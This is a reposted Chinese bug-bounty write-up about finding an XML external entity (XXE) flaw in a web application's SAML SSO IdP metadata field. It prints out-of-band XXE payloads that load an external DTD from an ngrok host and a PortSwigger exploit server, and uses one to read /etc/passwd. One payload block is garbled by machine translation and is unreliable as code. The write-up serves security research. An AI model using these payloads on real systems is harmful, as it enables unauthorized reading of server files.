前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SAML SSO 编写中的 XXE

SAML SSO 编写中的 XXE

作者头像
Khan安全团队
发布2022-01-18 09:36:12
9210
发布2022-01-18 09:36:12
举报
文章被收录于专栏:Khan安全团队

今天我将分享我如何在一个 Web 应用程序的 SAML SSO 中找到 XXE。这是 HackerOne 上的一个私人程序,他们正在提供付费计划凭据以进行测试。但是范围有限,因为它们仅限于少数功能。因此,在完成有限功能的测试后,我开始查看不在范围内的其他功能。这个“安全控制”功能吸引了我,因为它允许不同类型的身份验证

我检查了所有这些,发现 SAML 在 IdP 元数据字段中接受 XML。我有一种感觉,在这里我可以找到一些重要的东西。所以我开始在谷歌上搜索这个 SAML IdP 并来到这个我们可以生成 IdP 元数据的网站。

https://www.samltool.com/idp_metadata.php

https://www.samltool.com/sp_metadata.php

所以我生成了这个元数据并在应用程序中进行了尝试。是的,它被接受了,但它不允许使用它进行任何身份验证,因为该 IdP 元数据 XML 中的数据是错误的。所以我尝试了 XXE 基本有效载荷,其中一个有效载荷有效。这是从目标服务器接收响应的基本负载

代码语言:javascript
复制
<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "https://app.target.com@29de5f70.ngrok.io"> %asd;]>

然后在几周后,这个特性就在范围内,我在那个 XML 中用这个有效载荷报告了它作为“SAML SSO 中的 XXE”。该报告由 HackerOne 分类器分类。

是的,我知道,这是我的错误,我开始和他争论。当时分诊员也在线,所以我很快就收到了答案,他正在讲述事实。

然后我在 20 分钟内尝试了所有Portswigger XXE 实验室,发现我们可以使用 DTD 文件来利用这个案例。所以我尝试了这个 Lab DTD文件,我得到了我需要的东西

代码语言:javascript
复制
< ? xml 版本= “1.0” ?> 
< ! 文档类型foo [ < ! 实体 % xxe系统 “ https://ac961f4f1e4dadda80640ad3018a0016.web-security-academy.net/exploit.dtd”>%xxe ;_  _ ] >

我能够在有效负载中使用 DTD 获取“/etc/passwd”数据。Triager 也很好,这是他的回应

最终的 XML 元数据文件是这样的:-

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://ac961f4f1e4dadda80640ad3018a0016.web-security-academy.net/exploit.dtd"> %xxe;]>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
              validUntil="2020-04-20T14:37:12Z"
              cacheDuration="PT114100S"
              entityID="101">
     <md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
     <md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
              Location="https://app.target.com" />
     <md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
     <md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
               Location="https://app.target.com" index="1" />
    </md:SPSSODescriptor>
 </md:EntityDescriptor>

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档